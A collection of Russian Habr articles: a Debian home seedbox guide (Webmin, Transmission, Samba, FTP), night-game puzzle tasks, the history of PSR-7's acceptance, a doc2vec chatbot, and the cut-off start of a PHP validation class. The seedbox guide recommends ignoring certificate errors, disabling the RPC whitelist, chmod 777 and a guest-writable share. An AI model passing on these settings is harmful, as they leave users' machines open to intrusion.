Итак, начнём с того, что мне в руки попал Mac mini PowerPC G4, с гигабайтом памяти и сотней гигабайт на жёстком диске. Хорошая машинка для такого дела — работает бесшумно, электричества жрёт мало, места практически не занимает, имеет встроенный привод для DVD-дисков.
Хотя такая реализация подойдёт практически для любого другого железа.
Для начала нужно скачать с официального репозитория Debian net installer для вашей платформы и записать его на диск. В моём случае это powerpc.
После это выполняем стандартную установку операционки с некоторыми уточнениями: нужно установить только базовую систему и SSH-сервер. Остальное будем ставить из консоли. Ещё одно уточнение по разметке диска: обычно я всегда выбираю «Использовать весь диск» и не заморачиваюсь на тему LVM и ручного разбиения, потому что все закачки торрентов будут храниться на самом большом разделе home, а остальное умещается в разделы по умолчанию.
Итак, система установлена, сеть, как правило, цепляется по DHCP (делаю на роутере резервацию айпи для мак-адреса сетевухи машины).
##### Ну и собственно сама настройка:
Для управления сервером через web-интерфейс устанавливаю **Webmin**.
Добавим нужные библиотеки, если их нету в системе:
```
apt-get install perl libnet-ssleay-perl openssl libauthen-pam-perl libpam-runtime libio-pty-perl apt-show-versions
```
Добавляем репозиторий Webmin в apt нашего сервера:
```
nano /etc/apt/sources.list
```
```
deb http://download.webmin.com/download/repository sarge contrib
deb http://webmin.mirror.somersettechsolutions.co.uk/repository sarge contrib
```
Для установки Webmin с помощью apt нужно добавить SSL-ключ для доступа в репозиторий Webmin:
```
cd /root
wget http://www.webmin.com/jcameron-key.asc
apt-key add jcameron-key.asc
```
Устанавливаем Webmin, который будет доступен по ссылке https:// айпи\_вашего\_сервера:10000 (ругнётся на сертификат, игнорируем ошибку)
```
apt-get update
apt-get install webmin
```
##### Установка торрент-клиента
Далее необходимо настроить наш торрент-клиент. Самым простым и оптимальным решением является **Transmission**, т.к. настраивается очень просто и быстро и имеет клиент для Windows. Его и установим:
```
apt-get update
apt-get install transmission-daemon transmission
```
Для настройки Transmission использует файл конфигурации settings.jsonn, расположенный в /var/lib/transmission-daemon/info. Перед его редактированием нужно остановить Transmission, иначе изменения, внесённые в файл при работающей программе будут заменены на дефаултные.
```
/etc/init.d/transmission-daemon stop
```
Обычно я меняю только следующие параметры:
```
download-dir: /home/ваша_папка_для_скаченных_торрентов
rpc-password: ваш_пароль_пользователя
rpc-username: ваше_имя_пользователя
rpc-whitelist-enabled: устанавливаю false
```
После этого нужно сохранить файл и запустить Transmission:
```
/etc/init.d/transmission-daemon start
```
Не забудьте создать в директории /home/ ту папку, которую вы указали в файле настроек Transmission и дать ей соответствующие права:
```
mkdir /home/ваша_папка_для_скаченных_торрентов
chmod 777 /home/ваша_папка_для_скаченных_торрентов
```
Теперь можно проверить, как работает Transmission и уже ставить что нибудь на закачку. Для этого достаточно ввести в браузере адрес:
http:// адрес\_вашего\_сервера:9091
Для Windows существует Transmisson-remote-gui, его можно легко найти в гугле. После его установки нужно ввести адрес вашего сервера, имя пользователя и пароль, который вы указали в settings.json и выставить ассоциации торрент-файлов с новым клиентом. Все закачки будут автоматически добавляться в сидбокс.
##### Установка Samba
Для доступа к этим файлам из сети Windows потребуется установить и сконфигурировать **Samba**. Я не заморачиваюсь с настройками, так как сервер в домашней сети и публикации его во внешний мир нет. Поэтому алгоритм установки будет таким:
Устанавливаем Samba сервер с возможностью иметь доступ к файлам на других компьютерах:
```
aptitude install samba smbclient smbfs
```
Создаю резервную копию файла настроек Samba, как говорится, на всякий пожарный:
```
cp /etc/samba/smb.conf /etc/samba/smb.conf.backup
```
Теперь редактируем файл настроек и добавляем в него следующие параметры:
```
nano /etc/samba/smb.conf
```
```
[global]
workgroup = ИМЯ_ВАШЕЙ_РАБОЧЕЙ_ГРУППЫ_ИЛИ_ДОМЕНА
netbios name = ИМЯ_СЕРВЕРА
server string = ЛЮБОЕ_ОПИСАНИЕ_СЕРВЕРА
security = share
browseable = yes
[share]
path = /home/ваша_папка_для_скаченных_торрентов
comment = mediafiles
readonly = No
guest ok = Yes
```
Сохраняем файл и перезапускаем Samba:
```
/etc/init.d/samba restart
```
Теперь в эту папку можно зайти, указав в адресной строке проводника Windwos **\\айпи\_вашего\_сервера**
##### Настройка ФТП
Если есть желание настроить внешний доступ по ФТП, то делается это так же просто, как и всё предыдущее.
Заходим на Webmin: https:// айпи\_вашего\_сервера:10000 (ругнётся на сертификат, игнорируем ошибку).
Переходим в раздел Webmin -> Webmin settings, устанавливаем русский язык (в формате UTF-8). Обновляем страницу.
Переходим в раздел Система -> Менеджер ПО, ставим галочку в «Пакеты из APT», указываем в строке поиска proftpd, жмём Искать в APT. После этого Webmin установит нам фтп-сервер ProFTPD. Обновляем страницу и идём в Службы -> Сервер ProFTP -> Файлы и каталоги, и указываем Ограничить пользователя в каталогах -> Домашний каталог. Сохраняем изменения.
Идём в Система -> Пользователи и группы. Выбираем того пользователя, которого вы указали как нового, при установке Debian Linux на ваш сервер, указываем ему домашний каталог как /home/ваша\_папка\_для\_скаченных\_торрентов. Сохраняем настройки.
Для верности перезагружаем наш свежеиспечённый сервер:
```
reboot
```
Не путать с *halt* — это команда выключения сервера!
**Собственно на этом настройка домашнего сервера завершена.
Приятного пользования!**
Список литературы:
[Установка Webmin на Debian](http://admin-vestnik.ru/debian/ustanovka-webmin-na-debian.html)
[Как установить Transmission в Debian/Ubuntu](http://xbmc.ru/wiki/index.php?title=%D0%9A%D0%B0%D0%BA_%D1%83%D1%81%D1%82%D0%B0%D0%BD%D0%BE%D0%B2%D0%B8%D1%82%D1%8C_Transmission_%D0%B2_Debian/Ubuntu)
[Установка и настройка Samba в Debian GNU/Linux и Ubuntu Linux](http://debiania.blogspot.ru/2009/05/samba-debian-gnulinux-ubuntu-linux.html) | https://habr.com/ru/post/180411/ | null | ru | null |
# Как Хабр помогал мне в организации ночных городских игр
Привет! Я являюсь организатором [ночной городской игры Энкаунтер](https://ru.wikipedia.org/wiki/Encounter) в городе Таллинн. В данной статье я расскажу, как Хабр (а теперь и Гиктаймс) помогали и вдохновляли меня на создание всяческих заданий для экстремального формата игры «схватка».
**Вкратце про формат схватки**Схватка — городская приключенческая игра.
Участники получают задания на сайте. В них зашифрованы места в городе или окрестностях. Разгадав место и приехав туда, командам нужно найти игровой код (например: EN1234567).
Код может быть просто написан на трубе в подвале заброшенного здания, подвешен на верхушке дерева, утоплен в речке. Код на месте может выдавать агент в обмен на что-нибудь, что участники должны сделать.
Добыв код, команды вводят его на игровом сайте, и если код верен, получают следующее задание. Так, от уровня к уровню, команды проходят игру. Победитель (тот, кто быстрее всех выполнил все задания) получает призовой фонд.
Начавшись поздно вечером, игра, как правило, продолжается пять-семь часов.
Игра разделена на две части: интерактивная и полевая.
**Интерактивная часть** игры происходит в специальном движке на сайте. Тут команды получают задания, разгадав которые, они находят месторасположение объекта (или т.н. локации), где находятся коды. В заданиях я использую исключительно шифрование десятичных координат (xx.xxxx, yy.yyyy).
В **полевую часть**, преимущественно, входит поиск кодов на объекте (заброшенные здания, бункера и т.д). Но это всё можно разбавить некими нестандартными, для игроков, вещами, которые я и опишу.
**А как команды до всего додумываются**1. Команды в курсе, что координаты начинаются с 58/59 (широта) и 24 (долгота), так что «распотрошить» на две части некое число им не составляет труда.
2. В игре предусмотрены подсказки, которыми можно воспользоваться через определённое время. Подсказки лишь намекают на то, как решить задание, но иногда есть и step-by-step объяснения.
Интерактивные задания
=====================
Открыто написанные координаты в исходном коде страницы, либо zip архив с текстом, переделанный затем в jpg — на столько обыденные вещи, что на них останавливаться я не буду.
Байтовые координаты
-------------------
В статье [Защита флешки от записи новых файлов](http://habrahabr.ru/post/55524/) мне на глаза попалась замечательная и новая для меня команда:
```
fsutil file createnew
```
Использовалась она следующим образом: команде, практически в открытом виде, выдавалась [ссылка на архив](http://d1.endata.cx/data/games/49579/themaze_task_dk392jf.rar), внутри которого находятся 4 файла: part1.txt (5899 bytes), part2.txt (6729 bytes), part3.txt (2477 bytes) и part4.txt (6463 bytes). Если посмотреть размеры файлов в байтах, то становится понятно, что это координаты: 58.996729, 24.776463.
HEX->RGB->coordinates
---------------------
Тут я, конечно, слукавил. Эти координаты находятся в исходном коде страницы, но они не в открытую написаны. Дано: [страница про радио, свёрстанная на коленке](http://d1.endata.cx/data/games/48547/RadioBroadcasting.html). При открытии страницы, сразу в глаза бросаются блоки с текстом разного цвета.
Использовать нужно только те блоки, которые содержат в себе комментарии , находим:
1. #3B2B3E
2. #38022F
3. #323F3C
Переводим цвета в RGB и получаем:
1. 59 43 62
2. 56 2 47
3. 50 63 60
В итоге: 59.436256 24.750636(0)
Полевые задания
===============
Phonopaper
----------
[NightRadio](https://geektimes.ru/users/nightradio/) создал замечательную штуку, как [PhonoPaper](http://habrahabr.ru/post/220061/). Мы записали 3 всем известные мелодии: Марш Мендельсона, Yesterday и Лунную Сонату. Выглядело это примерно так:
Temperature to code
-------------------
Благодаря Хабру, я узнал про Ардуино. Просматривал примеры из статей, повторял и пробовал что-то своё. Возникла идея заставить команды в -10C° нагреть датчик (расположенный в коробочке со стрелками) до +15-16, чтобы на экране высветился код, получилось забавно:
И сам процесс. Игрок #1
Игрок #2
Была ещё коробочка с ИК-диодом, вымигивающим код азбукой Морзе. Там надо было смотреть на диод через камеру телефона (эпловская продукция отпадала). Но ни видео, ни каких-либо фотографий нету, поэтому, лишь упомяну про такое задание.
---
Есть ещё очень много заданий, которые никак не связаны ни с Хабром, ни с IT в целом. Да и игроки, в большей степени, не айтишники. Уже есть наработки для новых заданий, часть из которых будет реализована благодаря статьям, прочитанным на Хабрахабр и на Гиктаймс. | https://habr.com/ru/post/365053/ | null | ru | null |
# PSR-7 принят
Рад сообщить, что по состоянию на 06:00 18 мая 2015 года [PSR-7 (HTTP Message Interfaces)](http://www.php-fig.org/psr/psr-7) был принят!
**UPD.** [Хороший перевод «PSR-7 в примерах»](http://habrahabr.ru/post/250343/).
#### Дорога к PSR-7
Путь к PSR-7 был долгим и извилистым. Все началось летом 2012 года с проекта предложения по работе с HTTP клиентами за авторством Бенджамина Эберлея *([Benjamin Eberlei](http://www.whitewashing.de/))*, в течение обсуждения которого другие участники предложили, что, возможно, небольшой стандарт на http-сообщения — вот что позволило бы решить все проблемы.
##### Старт
Крис Уилкинсон *([Chris Wilkinson](https://github.com/thewilkybarkid))* подхватил идею и создал формальный черновик, который и стал впоследствии PSR-7. В нем был разработан оригинальный интерфейс для работы HTTP сообщений. Во время своего пребывания на посту редактора Крис также начал составление сопутствующего предложения по URI, но оно так никогда и не вошло в PSR. PSR-7 полировался в течение значительного срока, особенно раздел об аспекте сохранения заголовка как части сообщения и имел `MessageInterface`, описывающий общие черты между двумя типами сообщений с описанием отличий запроса и ответа.
В определенный момент (я точно не знаю, до сих пор не нашел никакого формального анонса в архивах группы) эстафету передали Майклу Доулингу *([Michael Dowling](http://mtdowling.com/))*. Самым большим его вкладом стало предложение моделирования тела сообщения в виде потока. Внедрение показалось довольно спорным, и в итоге вытекло в [большой пост](http://mtdowling.com/blog/2014/07/03/a-case-for-higher-level-php-streams/) с подробным описанием почему и зачем принято такое решение. По-моему, это потрясающе! Я проверил, каждый хороший язык имеет превосходную HTTP абстракцию, моделирующую тело сообщения в виде потока: это позволяет работать асинхронно (что, увы, довольно долго не поддерживалось в PHP), и гарантирует, что большие сообщения не съедят всю доступную память. Сам PHP имеет модель сообщений в виде стримов (`php://input` и выходной буфер), именно этот путь является самым естественным.
##### Влияние node.js
Вскоре после появления этого поста, я сильно заигрался с [node.js](https://nodejs.org) и был поражен тем, как работают различные модули в плане обработки http. Это в значительной степени обусловлено наличием по-умолчанию хорошо разработанной абстракции протокола http с отличным побочным эффектом в виде возможности использования одинаковой работы с http практически везде.
Я решил портировать [Connect](https://github.com/senchalabs/connect), промежуточную библиотеку, поставляемую с [Express](http://expressjs.com/), возможно самым распространенным фреймворком в node.js. Но делая это я столкнулся с непреодолимым препятствием: http абстракция.
Конечно, каждый фреймворк имеет HTTP абстракцию. Я даже контрибьютил в один, предназначенный для Zend Framework. Ход мыслей был таким: я хочу разобраться, как и многие PHP-разработчики, в этих понятиях, узнать как это работает, но выбор конкретной http абстракции может повлиять на дальнейшее развитие проекта. И тут я вспомнил о посте Майкла про PSR-7 и потоки. Тогда-то и пришло понимание — «мне нужно нацелиться на PSR-7!»
Проблема заключалась в отсутствии имплементации.
Итак, за выходные был реализован первоначальный вариант. Примерно через пару дней после публикации Майкла стали ходить слухи о том, что он собирается отказаться от PSR-7 из-за нехватки времени.
##### Мой приход
После нескольких недель обсуждений и тяжелых раздумий я решил подхватить черновик и попробовать сдвинуть его с мертвой точки. Фил Стерджен *([Phil Sturgeon](https://philsturgeon.uk/))* и Бо Сименесен *([Beau Simensen](https://beau.io))* договорились продолжать в качестве спонсора и координатора. Так и началось мое пребывание на посту редактора.
Это стало интересным вызовом. Когда я начинал, еще не утихли дебаты об использовании потоков. Пришлось в срочном порядке наращивать базу аргументов Майкла в пользу именно такого решения и подумать, согласен ли я защищать его или действительно есть варианты лучше.
Обнаружился еще один аспект, который следовало устранить: сообщения работали превосходно для клиентской стороны, но сервер был в проигрыше: пользователям приходилось разбирать URI для запроса строковых аргументов и парсить тело сообщения вручную, и заголовки для куков, и… в общем, я пришел к выводу, что получается как в node.js: либо ты делаешь все руками, либо сваливаешь всю работу на микрофреймворк.
Где-то в глубине было чувство, что мы могли бы сделать лучше. Таким образом родился `ServerRequestInterface`, обеспечивающий доступ к данным, находящимся в суперглобальных переменных PHP, а также дающий некоторые необходимые абстракции для заполнения данных, для тех случаев, когда PHP работает плохо (например, вы не можете получить заполненный `$_POST` для не-POST запросов или для POST запросов без специфических media-типов).
##### Прогресс
Ушел декабрь 2014 и вместе с ним ушел в отставку Фил, оставив меня в поисках дополнительного спонсора. Пол Джонс *([Paul M Jones](http://paul-m-jones.com))* любезно предложил свою кандидатуру.
Часть стандарта, касающаяся серверных запросов множество раз вызывала кучу критики, но в итоге мы достигли консенсуса в этом вопросе. Множество обеспокоенных людей высказывались по поводу мутабельности объектов. В январе я глубоко погрузился в понимание неизменности объектов и прикладных концепций спецификации. В итоге мы получили нечто очень надежное, без побочных эффектов, устраняющее целые категории возможных проблем из-за изменяющегося состояния. Но и это решение сообщество приняло со скрипом, ребята не успокаивались, пока не увидели реальных примеров.
Также был введен `UriInterface` для упорядочивания URI компонентов. Мы обнаружили, что очень часто приходится разбирать URI для получения таких вещей, как схема, путь, хост и т.д. Довольно утомительное и нудное занятие, чреватое ошибками. Наличие абстракции расставило все на свои места. Она сделана таким образом, чтобы можно было иметь совместимость с более поздними предложениями по URI и в значительной степени заимствовала подходы, сделанные ранее Крисом Уилкинсоном.
##### Голосования
В этот момент мы решили выставить черновик на голосование. Первоначальные результаты были весьма позитивными и это выглядело так, как будто дело в шляпе. Но где-то на второй неделе стали приходить люди, которые видели предложение в первый раз. Ничего не сравнится с въедливым вниманием разработчиков к деталям, именно они и помогли понять, что есть ряд изъянов. Ключевым среди них стало то, что мы не сделали большую работу по описанию связей между URI и заголовками хоста, не была хорошо проработана загрузка файлов.
Отменив голосование примерно за 24 часа до принятия, мы вернулись к этапу проектирования. Бернхард Шуссек *([Bernhard Schussek](http://webmozarts.com/))* предоставил некоторые отличные обоснования по абстракции передачи файлов, которые мы в итоге включили, также проработали отношения URI/Host в сторону упрощения по отношению к предыдущей версии.
И это привело нас к повторному голосованию, которое в свою очередь пришло к логическому завершению: новый PSR был принят!
#### Спасибо
Я, как редактор и в значительной степени публичное лицо, не могу не отметить, что это был результат многолетней работы множества людей. И особенно я хочу поблагодарить:
* Ларри Гарфилда *([Larry Garfield](http://wwww.garfieldtech.com/))*, который протестировал PSR-7 на некоторых проектах, и позволил получить фидбек о перспективах использования.
* Эверта Пота *([Evert Pot](http://evertpot.com))*, который в конечном итоге проголосовал против принятия стандарта, но предоставил фантастические отзывы, принимая участие в обсуждении на протяжении всей жизни черновика. Его помощь была неоценима.
* Фила, Бо, и Пол, которые читали мои тирады, полные разочарования и неуверенности в себе на протяжении последних нескольких месяцев! | https://habr.com/ru/post/258423/ | null | ru | null |
# Русскоязычный чат-бот Boltoon: создаем виртуального собеседника
Несколько лет назад было опубликовано [интервью](https://www.kommersant.ru/doc/1618530), в котором говорят об искусственном интеллекте и, в частности, о чат-ботах. Респондент подчеркивает, что чат-боты не общаются, а имитирует общение.
> В них заложено ядро разумных микродиалогов вполне человеческого уровня и построен коммуникативный алгоритм постоянного сведения разговора к этому ядру. Только и всего.
На мой взгляд, в этом что-то есть…
Тем не менее, о чат-ботах много говорят на Хабре. Они могут быть самые разные. Популярностью пользуются боты на базе нейронных сетей прогнозирования, которые генерируют ответ пословно. Это очень интересно, но затратно с точки зрения реализации, особенно для русского языка из-за большого количества словоформ. Мной был выбран другой подход для реализации чат-бота Boltoon.
Boltoon работает по принципу выбора наиболее семантически близкого ответа из предложенной базы данных с последующей обработкой. Этот подход имеет ряд преимуществ:
* Быстрота работы;
* Чат-бот можно использовать для разных задач, для этого нужно загрузить новую базу;
* Боту не требуется дообучение после обновления базы.
Как это работает?
=================
Есть база данных с вопросами и ответами на них.
Необходимо, чтобы бот хорошо распознавал смысл введенных фраз и находил похожие в базе. Например, «как дела?», «как ты?», «как дела у тебя?» значат одно и то же. Т.к. компьютер хорошо работает с числами, а не с буквами, поиск соответствий между введенной фразой и имеющимися нужно свести к сравнению чисел. Требуется перевести всю колонку с вопросами из базы данных в числа, вернее, в векторы из N действительных чисел. Так все документы получат координаты в N-мерном пространстве. Представить его затруднительно, но можно снизить размерность пространства до 2 для наглядности.
В том же пространстве находим координату введенной пользователем фразы, сравниваем ее с имеющимися по косинусной метрике и находим ближайшую. На такой простой идее основан Boltoon.
Теперь обо всем по порядку и более формальным языком. Введем понятие «векторное представление текста» (word embeddings) – отображение  слова из естественного языка в вектор фиксированной длины (обычно от 100 до 500 измерений, чем выше это значение, тем представление точнее, но сложнее его вычислить).
Например, слова «наука», «книга» могут иметь следующее представление:
*v(«наука») = [0.956, -1.987…]
v(«книга») = [0.894, 0.234…]*
На Хабре уже писали об этом (подробно можно почитать [здесь](https://habrahabr.ru/company/ods/blog/329410/)). Для данной задачи более всего подходит *распределенная модель* представления текста. Представим, что есть некое «пространство смыслов» — N-мерная сфера, в которой каждое слово, предложение или абзац будут точкой. Вопрос в том, как его построить?
В 2013 году появилась статья [«Efficient Estimation of Word Representations in Vector Space»](https://arxiv.org/abs/1301.3781), автор Томас Миколов, в которой он говорит о *word2vec*. Это набор алгоритмов для нахождения распределенного представления слов. Так каждое слово переводится в точку в некотором семантическом пространстве, причем алгебраические операции в этом пространстве соответствуют операциям над смыслом слов (поэтому используют слово семантическое).
На картинке отображено это очень важное свойство пространства на примере вектора «женственности». Если от вектора слова «король» вычесть вектор слова «мужчина» и прибавить вектор слова «женщина», то получим «королеву». Больше примеров Вы можете найти в [лекциях Яндекса](https://youtu.be/U0LOSHY7U5Q), также там представлено объяснение работы word2vec «для людей», без особой математики.
На Python это выглядит примерно так (потребуется установить пакет gensim).
```
import gensim
w2v_fpath = "all.norm-sz100-w10-cb0-it1-min100.w2v"
w2v = gensim.models.KeyedVectors.load_word2vec_format(w2v_fpath, binary=True, unicode_errors='ignore')
w2v.init_sims(replace=True)
for word, score in w2v.most_similar(positive=[u"король", u"женщина"], negative=[u"мужчина"]):
print(word, score)
```
Здесь используется уже построенная модель word2vec проектом [Russian Distributional Thesaurus](https://nlpub.ru/Russian_Distributional_Thesaurus)
Получим:
```
королева 0.856020450592041
бургундская 0.8100876212120056
регентша 0.8040660619735718
клеменция 0.7984248995780945
короля 0.7981560826301575
ангулемская 0.7949156165122986
королевская 0.7862951159477234
анжуйская 0.7808529138565063
лотарингская 0.7741949558258057
маркграфиня 0.7644592523574829
```
Подробнее рассмотрим ближайшие к «королю» слова. Существует [ресурс](http://www.serelex.org/) для поиска семантически связанных слов, результат выводится в виде эго-сети. Ниже представлены 20 ближайших соседей для слова «король».
Модель, которую предложил Миколов очень проста – предполагается, что слова, находящиеся в схожих контекстах, могут значить одно и то же. Рассмотрим архитектуру нейронной сети.
Word2vec использует один скрытый слой. Во входном слое установлено столько нейронов, сколько слов в словаре. Размер скрытого слоя – размерность пространства. Размер выходного слоя такой же, как входного. Таким образом, считая, что словарь для обучения состоит из V слов и N размерность векторов слов, веса между входным и скрытым слоем образуют матрицу SYN0 размера V×N. Она представляет собой следующее.
Каждая из V строк является векторным N-мерным представлением слова.
Аналогично, веса между скрытым и выходным слоем образуют матрицу SYN1 размера N×V. Тогда на входе выходного слоя будет:
где  – j-ый столбец матрицы SYN1.
Скалярное произведение – косинус угла между двумя точками в n-мерном пространстве. И эта формула показывает, как близко находятся векторы слов. Если слова противоположные, то это значение -1. Затем используем softmax – «функцию мягкого максимума», чтобы получить распределение слов. 
С помощью softmax word2vec максимизирует косинусную меру между векторами слов, которые встречаются рядом и минимизирует, если не встречаются. Это и есть выход нейронной сети.
Чтобы лучше понять, как работает алгоритм, рассмотрим корпус для обучения, состоящий из следующих предложений:
*«Кот увидел собаку»,
«Кот преследовал собаку»,
«Белый кот взобрался на дерево».*
Словарь корпуса содержит восемь слов: [«белый», «взобрался», «дерево», «кот», «на», «преследовал», «собаку», «увидел»]
После сортировки в алфавитном порядке на каждое слово можно ссылаться по его индексу в словаре. В этом примере нейронная сеть будет иметь восемь входных и выходных нейронов. Пусть будет три нейрона в скрытом слое. Это означает, что SYN0 и SYN1 будут соответственно 8×3 и 3×8 матрицами. Перед началом обучения эти матрицы инициализируются небольшими случайными значениями, как это обычно бывает при обучении. Пусть SYN0 и SYN1 инициализированы так:
Предположим, нейронная сеть должна найти отношение между словами «взобрался» и «кот». То есть, сеть должна показывать высокую вероятность слова «кот», когда «взобрался» подается на вход сети. В терминологии компьютерной лингвистики слово «кот» называется центральное, а слово «взобрался» — контекстное.
В этом случае входной вектор X будет ![$[0 1 0 0 0 0 0 0]^T$](https://habrastorage.org/getpro/habr/formulas/d3a/42c/a2c/d3a42ca2c50a4e5677a9bf556c34e60b.svg) (потому что «взобрался» находится вторым в словаре). Вектор слова «кот» — ![$[0 0 0 1 0 0 0 0]^T$](https://habrastorage.org/getpro/habr/formulas/b6b/ab2/609/b6bab260997c41fc0c696ce8b830601e.svg).
При подаче на вход сети вектора, представляющего «взобрался», вывод на нейронах скрытого слоя можно вычислить так:![$H^T=X^T SYN0=[-0.490796, -0.229903, 0.065460]$](https://habrastorage.org/getpro/habr/formulas/a10/8e9/946/a108e99468103dc017456da8f10dc7b3.svg)
Обратите внимание, что вектор H скрытого слоя равен второй строке матрицы SYN0. Таким образом, функция активации для скрытого слоя – это копирование вектора входного слова в скрытый слой.
Аналогично для выходного слоя: ![$\begin{eqnarray} { H^T SYN1=[0.100934 -0.309331 -0.122361 -0.151399 } \nonumber\\ 0.143463 -0.051262 -0.079686 0.112928] \end{eqnarray}$](https://habrastorage.org/getpro/habr/formulas/eca/2df/c9b/eca2dfc9bbb31518963e37c20c5c12ac.svg)
Нужно получить вероятности слов на выходном слое,  для, которые отражают отношение центрального слова с контекстным на входе. Для отображения вектора в вероятность, используют softmax. Выход j-го нейрона вычисляется следующим выражением:
Таким образом вероятности для восьми слов в корпусе равны: [0,143073 0,094925 0,114441 *0,111166* 0,14492 0,122874 0,119431 0,1448800], вероятность «кота» равна 0,111166 (по индексу в словаре).
Так мы сопоставили каждому слову вектор. Но нам нужно работать не со словами, а со словосочетаниями или с целыми предложениями, т.к. люди общаются именно так. Для это существует [Doc2vec](https://radimrehurek.com/gensim/models/doc2vec.html) (изначально Paragraph Vector) – алгоритм, который получает распределенное представление для частей текстов, основанный на word2vec. Тексты могут быть любой длины: от словосочетания до абзацев. И очень важно, что на выходе получаем вектор фиксированной длины.
На этой технологии основан Boltoon. Сначала мы строим 300-мерное семантическое пространство (как упоминалось выше, выбирают размерность от 100 до 500) на основе русскоязычной Википедии (ссылка на [дамп](https://dumps.wikimedia.org/ruwiki/latest/)).
Еще немного Python.
```
model = Doc2Vec(min_count=1, window=10, size=100, sample=1e-4, workers=8)
```
Создаем экземпляр класса для последующего обучения с параметрами:
* min\_count: минимальная частота появления слова, если частота ниже заданной – игнорировать
* window: «окно», в котором рассматривается контекст
* size: размерность вектора (пространства)
* sample: максимальная частота появления слова, если частота выше заданной – игнорировать
* workers: количество потоков
```
model.build_vocab(documents)
```
Строим таблицу словарей. Documents – дамп Википедии.
```
model.train(documents, total_examples=model.corpus_count, epochs=20)
```
Обучение. total\_examples – количество документов на вход. Обучение проходит один раз. Это ресурсоемкий процесс, строим модель из 50 МБ дампа Википедии (мой ноутбук с 8 ГБ RAM больше не потянул). Далее сохраняем обученную модель, получая эти файлы.
Как упоминалось выше, SYN0 и SYN1 – матрицы весов, образованные во время обучения. Эти объекты сохранены в отдельные файлы с помощью pickle. Их размер пропорционален N×V×W, где N – размерность вектора, V – количество слов в словаре, W – вес одного символа. Из этого получился такой большой размер файлов.
Возвращаемся к базе данные с вопросами и ответами. Находим координаты всех фраз в только что построенном пространстве. Получается, что с расширением базы данных не придется переучивать систему, достаточно учитывать добавленные фразы и находить их координаты в том же пространстве. Это и есть основное достоинство Boltoon’а – быстрая адаптация к обновлению данных.
Теперь поговорим об обратной связи с пользователем. Найдем координату вопроса в пространстве и ближайшую к нему фразу, имеющуюся в базе данных. Но здесь возникает проблема поиска ближайшей точки к заданной в N-мерном пространстве. Предлагаю использовать KD-Tree (подробнее о нем можно почитать [здесь](https://habrahabr.ru/post/312882/)).
KD-Tree (K-мерное дерево) – структура данных, которая позволяет разбить K-мерное пространство на пространства меньшей размерности посредством отсечения гиперплоскостями.
```
from scipy.spatial import KDTree
def build_tree(self, ethalon):
return KDTree(list(ethalon.values()))
```
Но оно имеет существенный недостаток: при добавлении элемента перестройка дерева осуществляется за O(NlogN) в среднем, что долго. Поэтому Boltoon использует «ленивое» обновление — перестраивает дерево каждые M добавлений фраз в базу данных. Поиск происходит за O(logN).
Для дообучения Boltoon’a был введен следующий функционал: после получения вопроса отправляется ответ с двумя кнопками для оценки качества.
В случае отрицательного ответа, пользователю предлагается скорректировать его, и исправленный результат заносится в базу данных.
Пример диалога с Boltoon’ом с использованием фраз, которых нет в базе данных.
Конечно, это сложно назвать «умом», никаким разумом Boltoon не обладает. Ему далеко до топовых ботов вроде Siri или недавней Алисы, но это не делает его бесполезным и неинтересным, в конце концов, это студенческий проект в рамках летней практики, созданный одним человеком. В дальнейшем, я планирую прикрутить модуль обработки ответов (согласование с полом собеседника, например), запоминание контекста разговора (в рамках нескольких предшествующих сообщений) и обработку опечаток. Надеюсь, получится более разумный Boltoon 2.0. Но это уже разговор для следующей статьи.
**P.S.** Вы можете потестировать Boltoon'а в telegram по ссылке @boltoon\_bot, только не забывайте оценивать каждый полученный ответ, иначе последующие Ваши сообщения будут проигнорированы. И я вижу все логи, кто и что написал, так что давайте соблюдать рамки приличия.
**P.P.S.** Хочу поблагодарить своих преподавателей [PavelMSTU](https://habrahabr.ru/users/pavelmstu/) и [ov7a](https://habrahabr.ru/users/ov7a/) за консультации и конструктивную критику по данной статье. | https://habr.com/ru/post/340190/ | null | ru | null |
# Strain It! — Валидация и приведение данных на PHP
#### Введение
Пожалуй любой программист рано или поздно сталкивается с проблемой валидации данных. Потратив уйму сил на написание однотипных алгоритмов валидации и я решил поискать более удобные способы. Было это довольно давно, и с тех пор мне довелось попользоваться большим количеством готовых решений и разработать несколько своих, которыми благополучно пользовался до недавнего времени.
Но после того как я перешел на PHP 5.3 меня потянуло написать новый валидатор на основе анонимных функций. А заодно еще раз потренироваться в их использовании. Мною ставились следующие требования к будущему классу:
* Декларативность (информация о валидации должна задаваться объектами/массивами)
* Гибкость (высокая эффективность кода, написанного с помощью этого класса)
* Скорость (ничего лишнего)
Уже после начала работ, мне пришла в голову мысль о том, что анонимные функции в этом классе можно использовать не только для валидации, но и для приведения данных к нужному виду (например к определенному типу). Добавив к списку требований еще одно («Универсальность») я смело переименовал класс в Strain.
Что же в итоге получилось… читаем ниже. Здесь я не буду претендовать на оригинальность решения и прочую ерунду. Если вам понравится такой подход, используйте его в своих проектах, а если нет — то нет. Для отчаянных любителей извращений исходники я опубликую в конце статьи.
#### Class Strain
Как я уже написал выше, функционал у класса двойной. Давайте по порядку рассмотрим оба вида использующихся в нём анонимных функций и их применение. Разумеется ничто не мешает вам при желании объединить их функционал в одной функции.
Надеюсь я не сильно вас напугаю наспех придуманными названиями и определениями.
##### Функция-приведения (ФП)
ФП для преобразования данных (в нашем случае некой переменной). По сути может содержать любую логику по превращению одних данных в другие. Например создадим функцию, которая будет всё переводить в INTEGER.
`> Strain::add('integer', function(&$value, $options = null) {
>
>
> $value = (int) $value;
>
>
> });`
Это лишь простенький пример. При реальном использовании я бы сюда добавил еще ограничение по количеству бит в числе.
Теперь давайте посмотрим на работу этой функции:
`> $var = '56'; // обязательно переменная! потому что функция заберет её ссылку.
>
>
> Strain::it($var, 'integer');
>
>
> var\_dump($var);
>
>
>
>
>
> // Выводит: int(56)`
##### Функция-валидации (ФВ)
ФВ проверяет данные на соответствие определенным условием и в случае ошибки выкидывает отчет. Если функция ничего не вернет (т.е. вернет NULL), значит данные верны. Пример:
`> Strain::add('must\_be\_integer', function(&$value, $options = null) {
>
>
> if(!is\_int($value)) return true;
>
>
> });`
Комментарии излишни. Давайте посмотрим на работу функции:
`> $var = '56';
>
>
> var\_dump(Strain::it($var, 'must\_be\_integer'));
>
>
>
>
>
> // Выводит: TRUE`
TRUE указывает на наличие ошибки. Более подробно вернувшееся значение можно посмотреть в Strain::$result (в данном примере оно совпадает с TRUE)
##### Сложные пример
Теперь после того, как мы разобрались с основами, настало время перейти к более сложному применению Strain — валидации объектов.
Для начала создадим сам объект с данными. И пусть это будет, к примеру, данные о новом пользователе, которого мы хотим добавить.
`> $user = (object) array(
>
>
